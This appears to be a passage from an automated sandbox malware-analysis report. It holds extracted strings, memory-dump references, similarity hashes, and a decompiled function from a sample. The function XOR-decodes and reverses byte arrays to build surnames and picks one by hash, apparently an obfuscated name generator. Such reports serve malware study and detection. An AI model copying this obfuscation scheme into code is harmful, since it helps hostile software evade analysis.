n, xrefs: 0040F8E4
p, xrefs: 0040F39E
c, xrefs: 0040FD98
a, xrefs: 0040F942
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
m, xrefs: 0040FB6C
b, xrefs: 0040F724
r, xrefs: 0040F78A
t, xrefs: 0040F5DD
a, xrefs: 0040FB54
r, xrefs: 0040F714
eroon, xrefs: 0040FCD5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-226567699
Opcode ID: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
Instruction ID: 897faa67981242d41c61dfb40b62df43763f7642aa4407e7da9ffeee02b4687e
Opcode Fuzzy Hash: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
Instruction Fuzzy Hash: 36929F2400D7C189E332C72884587DFBFD25BA6718F488E9ED4ED1B292C6BA0159C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E9, Relevance: 160.6, Strings: 128, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040F0E9(void* __eax, char __ebx, void* __esi, intOrPtr _a4, char* _a8, signed char* _a12, char* _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, signed char* _a52, char* _a56, intOrPtr _a60, signed char* _a64, char* _a68, char* _a72, intOrPtr _a76, char* _a80, char* _a84, signed int* _a88, intOrPtr _a92, char* _a96, intOrPtr _a100, char* _a104, char* _a108, char* _a112, intOrPtr _a116, signed char* _a120, char* _a124, char* _a128, signed char* _a132, intOrPtr _a136, signed int* _a140, char* _a144, intOrPtr _a148, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, signed char _a172, signed char _a173, signed char _a174, signed char _a175, signed char _a176, signed char _a177, signed int _a180, signed int _a181, signed int _a182, signed int _a183, signed int _a184, signed int _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, signed int _a199, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, signed int _a206, char _a207, char _a208, signed char _a212, signed char _a213, signed char _a214, signed char _a215, signed char _a216, signed char _a217, char _a220, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a269, char _a270, char _a271, char _a272, char _a273, char _a276, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a340, char _a341, char _a342, char _a343, char _a344, char _a345, char _a346, char _a348, signed char _a356, signed char _a357, signed char _a358, signed char _a359, signed char _a360, signed char _a361, signed char _a362, char _a372, char _a380, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a396, signed char _a404, signed char _a405, signed char _a406, signed char _a407, signed char _a408, signed char _a409, signed char _a410, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a422, char _a423, char _a424, char _a425, char _a426, char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a431, signed char _a432, signed char _a433, signed char _a434, signed char _a435, char _a440, char _a452, char _a453, char _a454, char _a455, char _a456, char _a457, char _a458, char _a459, char _a460, char _a464, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, char _a486, char _a487, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, intOrPtr _a496) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				void* _t486;
				void* _t493;
				char* _t501;
				void* _t503;
				intOrPtr _t512;
				intOrPtr _t514;
				signed int _t518;
				intOrPtr* _t520;
				char _t526;
				char _t531;
				char _t540;
				void* _t552;
				signed char _t559;
				signed char _t561;
				intOrPtr _t586;
				char _t616;
				intOrPtr _t642;
				void* _t643;
				void* _t645;
				signed int _t646;
				void* _t647;
				signed char _t648;
				void* _t649;
				intOrPtr _t653;
				void* _t655;

				_t645 = __esi;
				_t486 = __eax;
				do {
					_t526 =  *((intOrPtr*)(_t655 + _t486 + 0xc8));
					 *((char*)(_t655 + _t486 + 0xc8)) =  *((intOrPtr*)(_t655 + _t645 + 0xc8));
					_t486 = _t486 + 1;
					 *((char*)(_t655 + _t645 + 0xc8)) = _t526;
					_t645 = _t645 - 1;
				} while (_t486 < _t645);
				_a404 = _a200 ^ 0x00000071;
				_a407 = _a203 ^ 0x000000e3;
				_a405 = _a201 ^ 0x00000012;
				_a406 = _a202 ^ 0x000000b8;
				_a410 = _a206 ^ 0x000000f0;
				_a408 = _a204 ^ 0x0000001a;
				_a409 = _a205 ^ 0x00000041;
				_a200 = 0xac;
				_a201 = 0x88;
				_a202 = 0x4a;
				_a203 = 0xc7;
				_a204 = 0xee;
				_a205 = 0x67;
				_a206 = 0xfc;
				_t493 = 0;
				_t646 = 6;
				do {
					_t531 =  *((intOrPtr*)(_t655 + _t493 + 0xc8));
					 *((char*)(_t655 + _t493 + 0xc8)) =  *((intOrPtr*)(_t655 + _t646 + 0xc8));
					_t493 = _t493 + 1;
					 *((char*)(_t655 + _t646 + 0xc8)) = _t531;
					_t646 = _t646 - 1;
				} while (_t493 < _t646);
				_a356 = _a200 ^ 0x0000008b;
				_a357 = _a201 ^ 0x0000000e;
				_a359 = _a203 ^ 0x000000b4;
				_a360 = _a204 ^ 0x00000025;
				_a358 = _a202 ^ 0x00000082;
				_a388 = 0xdb;
				_a206 = 0xdb;
				_push(7);
				_a362 = _a206 ^ 0x000000ac;
				_push( &_a388);
				_a361 = _a205 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a332 = 0x6d;
				_a333 = 0x6f;
				_a334 = 0x6f;
				_a335 = 0x72;
				_a336 = 0x65;
				_a337 = __ebx;
				_a389 = 0x81;
				_a390 = 0xe5;
				_a391 = 0x9f;
				_a392 = 0x3e;
				_a393 = 0x36;
				_a394 = 0x71;
				_a200 = 0xc6;
				_a201 = 0xb2;
				_a202 = 0xd3;
				_a203 = 0xaa;
				_a204 = 0xc6;
				_a205 = 0xa9;
				_t501 = E0040D980( &_a200);
				_push(7);
				_push( &_a404);
				_a20 = _t501;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x72;
				_a485 = 0x73;
				_a486 = 0x6f;
				_a487 = 0x6e;
				_a488 = __ebx;
				_a404 = 0xae;
				_a405 = 0xa8;
				_a406 = 0xa6;
				_a407 = 0xbf;
				_a408 = 0x70;
				_a409 = 0x89;
				_a410 = 0x13;
				_a192 = 0x11;
				_a193 = 0x65;
				_a194 = 0xd;
				_a195 = 0x62;
				_a196 = 0xf;
				_a197 = 0x6e;
				_a198 = 0x1d;
				_a20 = E0040D980( &_a192);
				_a192 = 0xa8;
				_a193 = 0xa2;
				_a194 = 0xaf;
				_a195 = 0xb1;
				_a196 = 0x15;
				_a197 = 0xd5;
				_a198 = 0x82;
				_a199 = 0x58;
				_t503 = 0;
				_t647 = 7;
				do {
					_t540 =  *((intOrPtr*)(_t655 + _t503 + 0xd0));
					 *((char*)(_t655 + _t503 + 0xd0)) =  *((intOrPtr*)(_t655 + _t647 + 0xd0));
					_t503 = _t503 + 1;
					 *((char*)(_t655 + _t647 + 0xd0)) = _t540;
					_t647 = _t647 - 1;
				} while (_t503 < _t647);
				_a429 = _a193 ^ 0x000000e3;
				_a428 = _a192 ^ 0x00000032;
				_a430 = _a194 ^ 0x000000b6;
				_a432 = _a196 ^ 0x000000c2;
				_a431 = _a195 ^ 0x0000007e;
				_a433 = _a197 ^ 0x000000c0;
				_push(7);
				_a435 = _a199 ^ 0x000000a8;
				_push( &_a356);
				_a434 = _a198 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a324 = 0x77;
				_a325 = 0x68;
				_a326 = 0x69;
				_a327 = 0x74;
				_a328 = 0x65;
				_a329 = __ebx;
				_a404 = 0x68;
				_a405 = 0x61;
				_a406 = 0x72;
				_a407 = 0x72;
				_a408 = 0x69;
				_a409 = 0x73;
				_a410 = __ebx;
				_a356 = 0x2a;
				_a357 = 0x9c;
				_a358 = 0xed;
				_a359 = 0x35;
				_a360 = 0x4a;
				_a361 = 0x35;
				_a362 = 0x68;
				_a184 = 0x4f;
				_a185 = 0x22;
				_a186 = 0x43;
				_a187 = 0x31;
				_a188 = 0x45;
				_a189 = 0x2c;
				_a190 = 0x42;
				_t642 = E0040D980( &_a184);
				_a452 = 0x74;
				_a453 = 0x68;
				_a454 = 0x6f;
				_a455 = 0x6d;
				_a456 = 0x70;
				_a457 = 0x73;
				_a458 = 0x6f;
				_a459 = 0x6e;
				_a460 = __ebx;
				_a340 = 0x67;
				_a341 = 0x61;
				_a342 = 0x72;
				_a343 = 0x63;
				_a344 = 0x69;
				_a345 = 0x61;
				_a346 = __ebx;
				_a476 = 0x37;
				_a477 = 0x36;
				_a478 = 0xb3;
				_a479 = 0xc1;
				_a480 = 0x69;
				_a481 = 0x80;
				_push(9);
				_push( &_a476);
				_a482 = 0xc4;
				_a483 = 0x8e;
				_a484 = 0x89;
				_a184 = 0x60;
				_a185 = 0xd;
				_a186 = 0x6c;
				_a187 = 0x1e;
				_a188 = 0x6a;
				_a189 = 3;
				_a190 = 0x6d;
				_a191 = 8;
				_a192 = 0x72;
				_t512 = E0040D980( &_a184);
				_push(6);
				_push( &_a284);
				_t653 = _t512;
				_a420 = 0x72;
				_a421 = 0x6f;
				_a422 = 0x62;
				_a423 = 0x69;
				_a424 = 0x6e;
				_a425 = 0x73;
				_a426 = 0x6f;
				_a427 = 0x6e;
				_a428 = __ebx;
				_a260 = 0x63;
				_a261 = 0x6c;
				_a262 = 0x61;
				_a263 = 0x72;
				_a264 = 0x6b;
				_a265 = __ebx;
				_a480 = 0x72;
				_a481 = 0x6f;
				_a482 = 0x64;
				_a483 = 0x72;
				_a484 = 0x69;
				_a485 = 0x67;
				_a486 = 0x75;
				_a487 = 0x65;
				_a488 = 0x7a;
				_a489 = __ebx;
				_a284 = 0xfd;
				_a285 = 0xda;
				_a286 = 0x64;
				_a287 = 0xb0;
				_a288 = 0x5d;
				_a289 = 0x6c;
				_a196 = 0xc2;
				_a197 = 0xae;
				_a198 = 0xcb;
				_a199 = 0xbc;
				_a200 = 0xd5;
				_a201 = 0xa6;
				_v8 = E0040D980( &_a196);
				_v20 = 0x6c;
				_v19 = 0x65;
				_v18 = 0x65;
				_v17 = __ebx;
				_a340 = 0x77;
				_a341 = 0x61;
				_a342 = 0x6c;
				_a343 = 0x6b;
				_a344 = 0x65;
				_a345 = 0x72;
				_a346 = __ebx;
				_a204 = 0x68;
				_a205 = 0x61;
				_a206 = 0x6c;
				_a207 = 0x6c;
				_a208 = __ebx;
				_a284 = 0x61;
				_a285 = 0x6c;
				_a286 = 0x6c;
				_a287 = 0x65;
				_push(5);
				_push( &_a212);
				_a288 = 0x6e;
				_a289 = __ebx;
				_a268 = 0x79;
				_a269 = 0x6f;
				_a270 = 0x75;
				_a271 = 0x6e;
				_a272 = 0x67;
				_a273 = __ebx;
				_a484 = 0x68;
				_a485 = 0x65;
				_a486 = 0x72;
				_a487 = 0x6e;
				_a488 = 0x61;
				_a489 = 0x6e;
				_a490 = 0x64;
				_a491 = 0x65;
				_a492 = 0x7a;
				_a493 = __ebx;
				_a196 = 0x6b;
				_a197 = 0x69;
				_a198 = 0x6e;
				_a199 = 0x67;
				_a200 = __ebx;
				_a356 = 0x77;
				_a357 = 0x72;
				_a358 = 0x69;
				_a359 = 0x67;
				_a360 = 0x68;
				_a361 = 0x74;
				_a362 = __ebx;
				_a228 = 0x6c;
				_a229 = 0x6f;
				_a230 = 0x70;
				_a231 = 0x65;
				_a232 = 0x7a;
				_a233 = __ebx;
				_a212 = 0xc7;
				_a213 = 0x35;
				_a214 = 0x64;
				_a215 = 0x14;
				_a216 = 0x23;
				_a180 = 0x60;
				_a181 = 8;
				_a182 = 0x61;
				_a183 = 0xd;
				_a184 = 0x61;
				_t514 = E0040D980( &_a180);
				_a172 = 0x68;
				_a173 = 0x3e;
				_a174 = 0xbb;
				_a175 = 0xf0;
				_a176 = 0xec;
				_a177 = 0xa1;
				_t552 = 0;
				_t648 = 5;
				do {
					_v33 =  *((intOrPtr*)(_t655 + _t552 + 0xe0));
					 *((char*)(_t655 + _t552 + 0xe0)) =  *((intOrPtr*)(_t655 + _t648 + 0xe0));
					_t552 = _t552 + 1;
					 *((char*)(_t655 + _t648 + 0xe0)) = _v33;
					_t648 = _t648 - 1;
				} while (_t552 < _t648);
				_a212 = _a172 ^ 0x000000d2;
				_a213 = _a173 ^ 0x0000008f;
				_a214 = _a174 ^ 0x0000009f;
				_a215 = _a175 ^ 0x000000cf;
				_a216 = _a176 ^ 0x0000004a;
				_t559 = 5;
				_a217 = _a177 ^ 0x00000068;
				_a252 = 0x67;
				_a253 = 0x72;
				_a254 = 0x65;
				_a255 = 0x65;
				_a256 = 0x6e;
				_a257 = __ebx;
				_a152 = 0x61;
				_a153 = 0x64;
				_a154 = 0x61;
				_a155 = 0x6d;
				_a156 = 0x73;
				_a157 = __ebx;
				_a180 = 0x7a;
				_a181 = 0x24;
				_a182 = 0x9b;
				_a183 = 6;
				_a184 = 0x77;
				_a185 = 0xe5;
				_t649 = 0;
				_a172 = 5;
				do {
					_t616 =  *((intOrPtr*)(_t655 + _t649 + 0xe8));
					 *((char*)(_t655 + _t649 + 0xe8)) =  *((intOrPtr*)(_t655 + _t559 + 0xe8));
					_t561 = _a172;
					_t649 = _t649 + 1;
					 *((char*)(_t655 + _t561 + 0xe8)) = _t616;
					_t559 = _t561 - 1;
					_v33 = _t616;
					_a172 = _t559;
				} while (_t649 < _t559);
				_a172 = _a180 ^ 0x00000087;
				_a173 = _a181 ^ 0x00000016;
				_a174 = _a182 ^ 0x0000006d;
				_a175 = _a183 ^ 0x000000fe;
				_a176 = _a184 ^ 0x00000056;
				_a177 = _a185 ^ 0x0000007a;
				_v8 =  &_a300;
				_v4 =  &_v32;
				_t380 =  &_a228; // 0x6c
				_v0 = _t380;
				_t382 =  &_a380; // 0x68
				_a4 = _t382;
				_a8 =  &_a388;
				_a12 =  &_a356;
				_a16 =  &_a308;
				_a20 =  &_a284;
				_a24 = _v20;
				_a28 =  &_a440;
				_a32 = _v12;
				_a36 =  &_a396;
				_t400 =  &_a292; // 0x65
				_a40 = _t400;
				_a44 =  &_a372;
				_a52 =  &_a428;
				_a56 =  &_a316;
				_a64 =  &_a404;
				 *0x431c89 = 0x19;
				_a416 = 0x67;
				_a417 = 0x6f;
				_a418 = 0x6e;
				_a419 = 0x7a;
				_a420 = 0x61;
				_a421 = 0x6c;
				_a422 = 0x65;
				_a423 = 0x7a;
				_a424 = __ebx;
				_a180 = 0x6e;
				_a181 = 0x65;
				_a182 = 0x6c;
				_a183 = 0x73;
				_a184 = 0x6f;
				_a185 = 0x6e;
				_a186 = __ebx;
				_a160 = 0x63;
				_a161 = 0x61;
				_a162 = 0x72;
				_a163 = 0x74;
				_a164 = 0x65;
				_a165 = 0x72;
				_a166 = __ebx;
				_a48 = _t642;
				_a60 = _t653;
				_a68 =  &_a244;
				_a72 =  &_a464;
				_a76 = _v16;
				_a80 =  &_v28;
				_a84 =  &_a332;
				_a88 =  &_a196;
				_t447 =  &_a276; // 0x61
				_a92 = _t447;
				_a96 =  &_a260;
				_t451 =  &_a476; // 0x69
				_a100 = _t451;
				_a104 =  &_a188;
				_a108 =  &_a348;
				_a116 = _t514;
				_a112 =  &_a220;
				_a120 =  &_a212;
				_a124 =  &_a252;
				_t466 =  &_a416; // 0x67
				_a128 =  &_a152;
				_a132 =  &_a172;
				_a136 = _t466;
				_a140 =  &_a180;
				_a144 =  &_a160;
				_a148 = _v24;
				_t518 = E0040C1D0( &_a180);
				_t650 =  *((intOrPtr*)(_t655 + 0x28 + _t518 % 0x28 * 4));
				_t520 =  *((intOrPtr*)(_t655 + 0x28 + _t518 % 0x28 * 4));
				_t643 = _t520 + 1;
				do {
					_t586 =  *_t520;
					_t520 = _t520 + 1;
				} while (_t586 != __ebx);
				return E00424873(E004028A0(_a496, _t650, _t520 - _t643), _a480);
			}

0x0040f0e9
0x0040f0e9
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c0
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

e, xrefs: 0040F847
e, xrefs: 0040F92A
h, xrefs: 0040F922
gibor, xrefs: 0040FE9D
n, xrefs: 0040F93A
i, xrefs: 0040F510
c, xrefs: 0040F63C
i, xrefs: 0040F67B
#, xrefs: 0040FA1E
d, xrefs: 0040F79A
t, xrefs: 0040FDB0
h, xrefs: 0040F9B8
`, xrefs: 0040F6B4
s, xrefs: 0040F605
h, xrefs: 0040F5E5
l, xrefs: 0040FD42
w, xrefs: 0040F998
n, xrefs: 0040FD89
n, xrefs: 0040F981
e, xrefs: 0040F95A
s, xrefs: 0040FD79
o, xrefs: 0040F367
a, xrefs: 0040F62C
l, xrefs: 0040FD71
n, xrefs: 0040F36F
a, xrefs: 0040F64C
o, xrefs: 0040F71C
irdor, xrefs: 0040FE34
7, xrefs: 0040F65B
d, xrefs: 0040F347
n, xrefs: 0040F90B
g, xrefs: 0040F913
i, xrefs: 0040F644
n, xrefs: 0040F615
a, xrefs: 0040FB64
e, xrefs: 0040F84C
g, xrefs: 0040F624
i, xrefs: 0040F72C
l, xrefs: 0040F842
i, xrefs: 0040F9A8
s, xrefs: 0040F557
o, xrefs: 0040F298
], xrefs: 0040F7F9
r, xrefs: 0040F6F4
h, xrefs: 0040F596
o, xrefs: 0040F8FB
r, xrefs: 0040FDC0
b, xrefs: 0040F3CE
g, xrefs: 0040F9B0
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
t, xrefs: 0040F9C0
l, xrefs: 0040F801
r, xrefs: 0040F932
o, xrefs: 0040F2A0
n, xrefs: 0040FB45
e, xrefs: 0040F520
d, xrefs: 0040FB5C
>, xrefs: 0040F2D7
o, xrefs: 0040F5ED
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
e, xrefs: 0040FB35
y, xrefs: 0040F8F3
e, xrefs: 0040F3BE
a, xrefs: 0040F85D
t, xrefs: 0040F518
agy, xrefs: 0040FE18
n, xrefs: 0040F94A
r, xrefs: 0040F2A8
d, xrefs: 0040F952
6, xrefs: 0040F2DF
g, xrefs: 0040F989
e, xrefs: 0040F8CB
6, xrefs: 0040F663
>, xrefs: 0040FA5B
n, xrefs: 0040FD61
lybor, xrefs: 0040FC6D
u, xrefs: 0040F903
s, xrefs: 0040FB74
l, xrefs: 0040F865
s, xrefs: 0040F35F
z, xrefs: 0040F962
n, xrefs: 0040F33F
B, xrefs: 0040F5CE
m, xrefs: 0040F5F5
e, xrefs: 0040F34F
r, xrefs: 0040FB2D
k, xrefs: 0040F86D
5, xrefs: 0040FA06
r, xrefs: 0040F357
q, xrefs: 0040F2E7
w, xrefs: 0040F855
r, xrefs: 0040F634
r, xrefs: 0040F87D
e, xrefs: 0040FDB8
p, xrefs: 0040F5FD
o, xrefs: 0040F792
l, xrefs: 0040F6C4
e, xrefs: 0040F875
h, xrefs: 0040F508
r, xrefs: 0040FDA8
J, xrefs: 0040F196
z, xrefs: 0040FD52
e, xrefs: 0040FB3D
h, xrefs: 0040FA53
herej, xrefs: 0040FC78
i, xrefs: 0040F979
w, xrefs: 0040F500
o, xrefs: 0040F60D
e, xrefs: 0040FD4A
k, xrefs: 0040F971
m, xrefs: 0040F6E4
a, xrefs: 0040F337
a, xrefs: 0040FDA0
n, xrefs: 0040F8E4
p, xrefs: 0040F39E
c, xrefs: 0040FD98
a, xrefs: 0040F942
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
m, xrefs: 0040FB6C
b, xrefs: 0040F724
r, xrefs: 0040F78A
t, xrefs: 0040F5DD
a, xrefs: 0040FB54
r, xrefs: 0040F714
eroon, xrefs: 0040FCD5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: #$5$6$6$7$>$>$B$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-1314068085
Opcode ID: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
Instruction ID: 9d4485feb2a8a036b1cfc007295b7909a2e3c490d21ab14ed2397911ff3ccdd3
Opcode Fuzzy Hash: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
Instruction Fuzzy Hash: 02829E2450D7C189E332C7288458BDFBFD25BE6718F488E9EC4DD1B292C6BA0259C767

Uniqueness

